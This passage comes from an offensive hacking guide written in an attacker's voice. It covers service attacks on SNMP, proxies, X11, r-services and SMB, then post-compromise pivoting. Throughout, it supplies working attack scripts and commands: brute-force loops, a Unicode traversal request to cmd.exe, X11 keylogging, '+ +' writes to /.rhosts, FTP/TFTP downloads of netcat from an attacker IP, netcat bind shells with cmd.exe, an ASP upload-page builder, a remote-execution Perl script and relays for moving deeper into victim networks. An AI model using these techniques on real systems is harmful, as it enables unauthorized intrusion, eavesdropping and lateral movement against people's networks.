nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin
```

Note - I transfer the */etc/passwd* file to the temp directory. If you do the TFTP as root, and you are not careful, you will overwrite your own */etc/password* file :). We have password file - it is shadowed - but we can now easily get any other file (the real password file etc.).

SSH (22 TCP)

There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.

SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?

POP3 (110 TCP)

POP3 must be one of the most common protocols found on the Internet today - POP3 is used to download email. Some time ago the *QPOP* server was exploitable. As is the case with FTP, one has to have a mechanism for finding vulnerable versions of POP3 servers. The PERL script used in the FTP section is just as applicable to the POP3 servers as to the FTP servers. Some exploits require that you supply a valid username and password - some require nothing.

A POP3 server can be used to verify a user's password, and therefor can be used to do a brute force attack on a username and password. Some of the older POP3 servers also only logged the first incorrect attempt - you could try as any combinations with only one entry in the logfile. The "*pwscan.pl*" script that forms part of *VLAD* has the possibility to brute force POP3 passwords - it is so easy that I am not going to spend more time on it (see the telnet section).

Another use for POP3 is to access other people's email without their knowledge. To be able to do this you will obviously need the correct password. The advantage is that most POP3 clients can be set to keep the mail on the server - to thus make a copy of the mail. When the legit user will connect the mail will still be there.

SNMP (161 UDP)

SNMP is short for Simple Network Management Protocol and it does just that - it is used to monitor and manage hosts and routers. The majority of users of SNMP use it to monitor routers - to show bandwidth utilization and to send messages to the SNMP monitoring station when a link goes down. The most common SNMP monitoring software is *HP Openview*. Attackers use SNMP for discovering networks and possibly to change or disrupt networking. SNMP on host (especially NT workstations) are fun - it reveals a lot of interesting information.

SNMP uses a community name for access control - if you don't have the right community name you cannot get information from the host or router. The easiest way of checking a valid community name is using the *snmpwalk* command (it is bundled with the *ucd-snmp* package):

```
> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57
---blah blah---
```

One can see in the above example that a valid community name is "*xmax*". There are actually two sorts of community string - a "read" string and a "write" string. With the write string you would be able to change information on the host or the router - such as routing tables, IP addresses assigned to interfaces etc. - with a "read" string you can only get the information. SNMP uses UDP so make sure you allow UDP to enter your network. Just like usernames and passwords, community names can also be brute forced. Again we make use of *VLAD's pwscan.pl* PERL script. Populate the "*community.db*" file and let rip:

```
perl pwscan.pl -v -M 196.35.xxx.79
```

Did I mention that you could use *pwscan.pl* to scan more than one IP number, using simple scripting?

```
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ...
--blah blah--
```

Real easy eh? A Windows program that will provide an excellent "viewer" for SNMP information is *Solarwind's IP browser* (get it at http://www.solarwinds.net/) - it will try to perform a SNMP walk of all pingable machines in a network. It is not a freeware application, but it's really good. Another nice feature is that you can supply your own community strings, and can edit the information if the string allows you to update information - e.g. a "write" string.

Proxies (80,1080,3128,8080 TCP)

A proxy is used to relay HTTP and HTTPs connection - if you don't know what a proxy is you should not be reading any of this. If we find a proxy port open on a host it excites us because it could be used to access other webservers that are located behind a firewall if not configured correctly. Just in the same way that your proxy server allows you to connect to it and surf sites that are located on the outside of your server, a victim's proxy server could serve as a gateway to reach machines that are normally not accessible. As example - a firewall is protecting the 196.xxx.201.0/24 network. The intranet server is located on 196.xxx.201.10, but the firewall prohibits communication to port 80 (or 443). Port 3128 on 196.xxx.201.5 is open, and the Squid proxy is not set up correctly (it allows anyone to connect to it). Change your proxy properties in your local browser to point to 196.xxx.201.5 and hit 196.xxx.201.10 and access the intranet server.

You can even run an exploit over a proxy. The only difference in reaching the machine direct and via a proxy is that the full URL needs to be send, e.g.:

Without proxy (for example Unicode exploit):
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0
With proxy:
GET http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0

You will need to make some changes to your exploit's code, but generally it wouldn't need to be difficult. Remember to point your exploit to the proxy address and port!

You could even use a proxy as a very primitive portscanner. By requesting a URL on a different port - say GET http://victim:port/ HTTP/1.0 you might get a different response. Some proxies - such as *Squid* - does not even try to pass traffic with a destination port lower then 1024 (other than 70,80, and 443). Traffic directed to ports higher than 1024 is allowed - by interpreting responses from the proxy we can find out if the port is open or closed. Hereby a simple PERL script that works OK with *Squid*:

```
---proxyscan.pl---
#!/usr/bin/perl
use Socket;
if ($#ARGV<0) {die "Usage: proxyscan.pl proxyIP:port:scanIP:beginrange:endrange
($host,$port,$scanIP,$br,$er)=split(/:/,@ARGV[0]);
print "Testing $scanIP via $host:$port:\n";
$target = inet_aton($host);
for ($mp=$br; $mp <= $er; $mp++) {
my @results=sendraw("GET http://$scanIP:$mp/ HTTP/1.0\r\n\r\n");
#system "sleep 2";
foreach $line (@results){
if ($line =~ /refused/) {print "Port $mp on $scanIP is closed\n"}
if ($line =~ /Zero/) {print "Port $mp on $scanIP is open\n"}
}
}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata

> perl proxyscan.pl 160.124.19.103:3128:160.124.19.98:5999:6002
Testing 160.124.19.98 via 160.124.19.103:3128:
Port 5999 on 160.124.19.98 is closed
```

```
Port 6000 on 160.124.19.98 is open
Port 6001 on 160.124.19.98 is closed
Port 6002 on 160.124.19.98 is closed
```

It might be that you want to change some things in this code - I have seen that when the server does not close the connection (the port is open and there is something listening on the other side, but no data is send) the script hangs around for a real long time. This is due to *Squid* not closing the connection after a while, and I don't see a quick workaround for it (and I am way too lazy for investigate it). It does work fine...provided you have some time to kill. See also the section on network level attacks for >1024 destination port tricks.

Apparently proxy servers can also be used to send email anonymously but I can't get any good examples of this.

X11 (6000 TCP)

X11 displays are (normally) protected on a network level - that is - there are no usernames and passwords involved. The display is actually a server and it listens on port 6000 (TCP). Control for clients to connect to the server is facilitated with the "*xhost*" command. By default it is set up in a way that nobody can connect to the display - default deny. As soon as programs are sharing the display (exporting an *xterm* to your display from another host or whatever) the user of the display have to add the IP number or DNS name of the client that wish to connect by running the command "*xhost +<client>*". In theory this works perfectly nice, but in the real world people tend to just enter "*xhost +*" which allows anyone to connect to the display.

A host that is open for anyone to connect to the display is risking a lot, and could possibly be compromised. There are a few nice things to do when you find an open X11 display. One of the most common attacks is to capture all the keystrokes that is entered on the victim's host. The program "*xkey*" (available from *www.hack.co.za*) does this very neatly:

```
> xkey 196.37.xxx.14:0.0
..you wait..time passes...and then:
ssh -l root -<<Shift_R>>P 196.37.xxx.1
weirdshitometer
```

Its clear why we are excited about key captures. A open X11 display can also be "copied" - the root window (the main window) can be copied, and displayed. Each window have a unique ID - you can specify which window you want to copy, but for a start let us get the root window:

```
> xwd -display 196.37.xxx.14 -root -silent -out /tmp/screendump
..wait for the transfer...
> xv /tmp/screendump
```

We are using *xv* to display the screen - *xv* can read the *xwd* format straight off. The screen might include some interesting data - if you get a screensaver - bad luck - use *finger* to see when someone is active. To get a list of windows that are open on the display you might want to issue the command:

```
> xwininfo -display <victim> -all -root | grep \"
(extract)
0x3000e6f "Netscape: Find": ("findDialog_popup" "Netscape") 378x144+536+227
+536+227
0x1c0000c "FvwmButtons": ("FvwmButtons" "FvwmButtons") 385x68+0+0 +635+4
0x2400005 "xload": ("xload" "XLoad") 106x52+2+2 +637+6
0x2000002 "Desktop": ("FvwmPager" "FvwmModule") 105x64+277+2 +912+6
0x30001ec "Netscape": ("communicator-4_72_bin" "Netscape") 1x1+0+0 +0+0
0x3000172 "Communicator Bookmarks for Roelof Temmingh": ("bookmarks"
"Netscape") 872x622+10+10 +10+10
```

```
0x300001c " ": ("mozillaComponentBar" "Netscape") 5x5+50+50 +50+50
0x3000001 "Netscape": ("communicator-4.72.bin" "Netscape") 1x1+0+0 +0+0
```

If the victim is using more than one virtual screen you will be able to see the other screen listed (you won't see it with *xwd*). With a bit of luck you get a Netscape browser open. To get Netscape open on an open X11 display is very good news as you can remotely control Netscape. Fancy telling Netscape to open */etc/passwd* and doing another screen capture? Here is how :

```
> netscape -display <victim> -remote 'openFile(/etc/passwd)'
> xwd -display <victim> -root -silent -out /tmp/netscape_
> xv /tmp/netscape
```

You can even tell Netscape to write files. It won't work trying to overwrite files - you will find a nasty Netscape popup, but you can write files that do not exist. You could create a page with *"+ +"* on it, redirect the browser to the page, and, if Netscape is running as root, save it to */.rhosts*. Be sure to have a close look at http://home.netscape.com/newsref/std/x-remote.html if you find an open X11 running Netscape.

In theory you could also send keystrokes to an open X display. I found the program "*xpusher.c*" at http://www.hack.co.za, fiddled around with it, but it does not seem to work. There might be other programs around. Keep looking...

R-services (rshell, rlogin) (513,514 TCP)

The R-services has used in the good old days of (campus) wide open Unix clusters of machines. It was used to hop from one server to the next with as little as possible effort - it's almost the same as telnet or SSH - it gives you a shell (or executing a command). Nowadays it is not very common to find Unix servers with *rlogin* or *rshell* ports open. *Rshell* is basically an extension of *rlogin* - *Rshell* will execute a command after logging in with the username and password specified. For the purposes of this document we can see *rlogin* and *rsh* as the same. These two services are protected by the "*.rhosts*" file(s). These files reside in a user directory and contain the IP numbers (or DNS names) and usernames on the remote machines that could assume control on the local machine.

But heck - I am not here to explain how *rlogin* and *rsh* works - the only thing that needs to be said here is that you could also try to get into a machine using it. It works much the same as telnet - all the same principles apply- try getting usernames etc. Sometimes *rlogin* is used in conjunction with other tricks - if you can get a "*+ +*" (allow anyone from anywhere) in the *.rhost* file you are made - see the X11 section.

NetBIOS/SMB (139 TCP)

SMB is used by Windows machines (and with SAMBA even Unix machines) to communicate. A lot can be done through an open NetBIOS port. The first thing is to try to find out what shares are advertised on the server. Some servers is not configured well and will revealing its shares without a username or password (using a NULL connection).

```
>smbclient -L 209.xxx.68.66 -n "justatest"
Password: <cr>
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- -------
```

```
WORKGROUP FILES
```

(Note the *-n* switch - we don't want to call the server with our server name, just in case you are running SAMBA yourself) As you can see we find some lovely information on the server - the workgroup/domain name, the description and the Windows version (above server was a SAMBA server actually). Nice...Of course with a known password, or a blank password things are much more fun- you can list all the shares or you might want to access a drive:

```
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password: <blank..duh!>
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999
--cut--
```

You are now dropped into the *smbclient* "shell". From here you could do file transfers and the likes (see Chapter 6 - what now). You should really be able to figure out how "*smbclient*" works on your own...

You might also want to try to collect information with the "*nmblookup*" command - it helps sometimes to find the administrator username (if it was changed):

```
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B <ACTIVE>
SENSEPOST <00> - <GROUP> B <ACTIVE>
HUTSI <20> - B <ACTIVE>
HUTSI <03> - B <ACTIVE>
SENSEPOST <1e> - <GROUP> B <ACTIVE>
SENSEPOST <1d> - B <ACTIVE>
INet~Services <1c> - <GROUP> B <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
IS~HUTSI <00> - B <ACTIVE>
BAAS <03> - B <ACTIVE>
```

Look at the entries marked *<03>*. Note "*BAAS*". "*Baas*" is the renamed administrator username. So, forget trying using "*administrator*" as a username.

You also want to have a look at *VLAD* (yet again). The *pwscan.pl* script does a good job of brute forcing NetBIOS (run it with switches *-v* and *-B*). The *pwscan.pl* script actually uses the "*smbclient*" command and inspects the output to find a valid username & password combination. If you want to brute a specific share, you will need to modify these lines (starting at line 610 in version 1.17):

```
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
```

to read something like

```
$cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
```

An **excellent** paper on NetBIOS and the CIFS protocol by Hobbit can be found at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should try to read it.

Added: you should **really** look at a tool called CIS by David Litchfield (nowadays with @stake) It does a lot of cool stuff – and it does wonders for SMB.

Chapter 6 : Now what?

(a lot of the stuff in the HTTP/S part is repeated here – you might want to look there as well)

Most books and papers on the matter of hacking always stops at the point where the attacker has gained access to a system. In real life it is here where the real problems begin - usually the machine that has been compromised is located in a DMZ, or even on an offsite network. Another problem could be that the compromised machine has no probing tools or utilities and such tools to work on a unknown platform is not always that easy. This chapter deals with these issues. Here we assume that a host is already compromised - the attacker have some way of executing a command on the target - be that inside of a Unix shell, or via a *MDAC* exploit. The chapter does not deal with rootkitting a host.

Some hosts are better for launching 2nd phase attacks than others - typically a Linux or FreeBSD host is worth more than a Windows NT webserver. Remember - the idea is to further penetrate a network. Unfortunately, you can not always choose which machines are compromised. Before we start to be platform specific, let us look at things to do when a host is compromised. The first step is to study one's surroundings. With 1:1NAT and other address hiding technologies you can never be too sure where you really are. The following bits of information could help (much of this really common sense, so I wont be explaining *why* you would want to do it):

1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)

All of the above will help to form an idea of the topology of the rest of the network - and as we want to penetrate further within the network its helpful. Let us assume that we have no inside knowledge of the inner network - that is - we don't know where the internal mailserver is located - we don't know where the databases are located etc. With no tools on the host (host as in parasite/host), mapping or penetrating the inner network is going to take very long. We thus need some way of getting a (limited) toolbox on the host. As this is quite platform specific, we start by looking at the more difficult platform - Windows.

Windows

We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). If we have NetBIOS access to the host we can simply copy the software. If we just have NetBIOS access to the

host - how do we execute the software? As you can see things are never as easy as it seems. Let us look at these problems by examining a few scenarios: (you will need to read all the sections as they really form one part - I refer to some things that is only contained in other parts)

Only port 139 open - administrator rights.

Copy the executable into *<drive>:/winnt/system32/*, and rename it to *setup.exe*. Now you have the choice of waiting for the system to reboot (NT have a history of doing this every now and again), or you could reboot the machine remotely. How? With a tool called *psshutdown.exe*. You can find it at http://www.sysinternals.com/psshutdown.htm. Note that you need administrator rights to be able to a) copy the software into the *winnt/system32* directory and b) reboot the box remotely. Make sure that your choice of executable is well thought through - since you have NetBIOS access to the system you might want to check if there is any anti-virus software installed - if so - do not try to execute a Trojan such as *Subseven/Netbus/BO* - it will just screw up. Stick with *netcat* (see later). There are other ways to execute something at startup - with NetBIOS access you could also remotely edit the registry.

If you don't have administrator rights - read the next section - the same applies here.

Port 21 open

With only FTP open you will have a tougher time. If you have administrator rights you could still copy an executable into the correct directory - see 1, but you will not have the ability to reboot the host - you will have to wait until someone reboots it. You might want to try a D.O.S attack on the machine, but usually it will just hang (which is suspect, but will speed up a manual reboot). If you do not have administrator rights chances are slimmer - you need to upload a Trojan - again, be very careful what you upload - most machines nowadays have virus scanners. You could try to wrap *netcat* as something that the administrator will be tempted to execute - you know the drill - pamela.exe or whatever. If you do not make use of a known Trojan and there is no way for your custom Trojan to let you know that it was executed you will need some mechanism of checking if the program was executed - a (local) *netcat* in a loop with mail notification perhaps?

Port 80 open and can execute

Here's where things start to become more interesting. By "and can execute" I mean that you have some way of executing a command - be that via the *Unicode* exploit, an exploitable script, or *MDAC*. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:

```
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
```

Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a *"&"* between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP - much

easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:

```
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
```

As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with *Unicode*?). There is yet another way of doing it - this time via *rcp* (yes NT does have it):

```
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
```

For this to work you will need to have the victim's machine in your *.rhosts* and *rsh* service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples does not use any authentication - make sure you close your firewall and/or services after the attack!

In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the *MDAC* exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command *echo <html> >> c:\inetpub\wwwroot\upload.htm* wont work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential "difficult" characters into their escaped version, and will then execute a "*echo*" command - appending it all together to form our page. Such a script (in PERL) looks like this:

```
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
```

This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - *rfpnew.pl* - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in *c:*. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script *rfpnew.pl* (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/book/rfpnew.pl. It don't list it here only because it rather large.

The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files *upload.asp* and *upload.inc* is to be found at www.sensepost.com/book/upload.asp and www.sensepost.com/book/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -*upload.asp* and *upload.inc*, unless you want to meddle with the ASP and INC files.

In a nutshell (for the script kids):

- get *upload.asp, upload.inc* and *rfpnew.pl* from the site.
- cut & paste the converter script to *convert.pl* and put it in the same directory
- *perl convert upload.asp <target>*
- *perl convert upload.inc <target>*
- *perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp <webroot>\upload.asp'*
- *perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc <webroot>\upload.inc.*
- surf to http://target/upload.asp.
- upload your good stuff
- inhale/exhale

The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload *netcat*, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea. Where the host/target only has port 80 (or 443) open it is not such a good choice. See *netcat* has to listen on a port and since the only port open is 80, we can't use it. Technically speaking we can "bump" off the server and have *netcat* listening there, but this would just cause the administrator to investigate (as the website is now down). Note to keen developer - build a *netcat* like tool that will recognize an HTTP request - pass it on to the server (listening on another port) and pass other stuff straight to *cmd.exe*. In a situation where we cannot use *netcat*, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) and things like *windump* that does not need any registry changes or install shields.

If the host is not tightly firewalled the obvious choice is *netcat*. Some default installations of Firewall-1 allows TCP communication to port 53 - it does makes sense to have *netcat* listening on that port in such cases (do a portscan to make sure... duh):

```
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)
perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
```

The only thing that *netcat* really is doing is making it faster and easier to execute command line commands. *Netcat* also helps in situations where one does not have the luxury of time - such as in the examples where you only

have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "*netcat -L -p 53 -e cmd.exe*" sitting in */winnt/system32/setup.exe* as explained (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.

Port 80 and port 139 open.

In this situation, let us assume that port 80 is open but no exploitable scripts or weaknesses are to be found, but that we have administrator right via NetBIOS. Uploading a program is trivial - we use NetBIOS. A simple way to execute a program is to use the NT remote user administration tool and to elevate the *IUSR_machine* user to administrator level. The next step is to make a copy of *cmd.exe* in the *<webroot>../scripts* directory and then simply calling *cmd.exe* with parameters from a browser. An easy way of doing this via command line is by using the following PERL script:

```
#!/usr/bin/perl
use Socket;
if ($#ARGV<1) {die "Usage: execute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$command=@ARGV[1];
print "Executing $command on $host:$port\n";
$command=~s/ /\%20/g;
$target = inet_aton($host);
# ---------------send the command
my @results=sendraw("GET /scripts/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
```

This script simply executes commands found in the second parameter using the copied cmd.exe in the scripts directory. With the *IUSR_machine* user elevated to administrator rights, all commands can be executed.

What to execute?

A tool that I like using once command line access has been gained on a NT box is *FSCAN.EXE* (get it at Packetstorm or at www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier. Let us look at an example:

```
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
```

Above portscan will identify all host running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called *sportscan.txt* that is located in the webroot -ready to be surfed. The output of such a scan could look like this:

```
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
```

```
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
```

From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct). How is this accomplished? One way could be to hook two instances of *netcat* together - something like *nc -l -p 53 -e 'nc 169.xxx.201.4 1443'*, but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter *TCPR.EXE. Tcpr.exe* takes 4 arguments:

```
tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
```

Tcpr starts to listen on *listenPort*, relaying (on a network level) all traffic to *destinationIP* on port *destinationPort*. Before it relays a connection it checks for the existence of *killfile*, and if so, it exists very quietly. The *killfile* is only there to make it easy to kill the relay as there is no *kill `ps -ax | grep tcpr | awk '{print $1}'`* available in the standard NT distribution. With *tcpr* we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The *TCPR.EXE* program and source is available at www.sensepost.com/book/tcp.zip. (note: yeah I know its not there – ask me for it and I'll send it to you).

Keeping all of above in mind, we could reach the SQL server by uploading *tcpr.exe* to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and *tcpr.exe* has been uploaded to *c:\temp* using the upload page):

```
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
```

Pointing your SQL enterprise manager to <target> on port 53 will now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:

```
perl unicodexecute2.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute2.pl <target>:80 'del c:\blah.txt'
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
```

Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:

```
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
```

By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the

cycle continues. If you struggle to keep track on what server you are working don't despair, it happens.

Unix

If you have found some way to execute a command on a Unix box, but there's no port 23 open - don't despair - you could try to export an *xterm* to your box (assuming that you are running an X-server, and you do not block incoming traffic on port 6000).

```
> xhost +victim
> your_exploit victim "/usr/X11R6/bin/xterm -display attacker:0.0&"
```

The above-mentioned command will export an *xterm* to your server (provided that *xterm* is located in */usr/X11R6/bin*).

Say you want to *rlogin* to the host, and want to modify the relevant files to be able to *rlogin* to the host:

```
> your_exploit victim "echo + + >> /.rhosts"
> rlogin -l root victim
```

The possibilities are endless. You might want to add a *UID 0, GID 0* user to the password file, with a blank password, then telnet and become root. Once you can execute a command on a UNIX host there should be no reason to be able to compromise the host.

We are assuming that the command is executed with "root" rights. If this is not the case, things can get slightly more difficult. Keep in mind that normal users cannot have processes that listens on ports lower than 1024. If you plan to get a shell spawning *netcat* make sure it listens on a port higher than 1024.

What to execute?

OK so you have a shell on a Unix server. Your problems will be twofold - the host does not contain any useful security tools and there is no compiler (*gcc,cc*) on the server. So even if you transfer your C-code to the victim there is just no way to compile it. Don't even think of transferring the binaries unless the victim is running the exact same OS. This is the reason why I like to keep things very simple - try to keep your goodies in shell script or PERL - makes is very platform independent. Chances are very good to find PERL on the victim - most OS'es have PERL in its distribution.

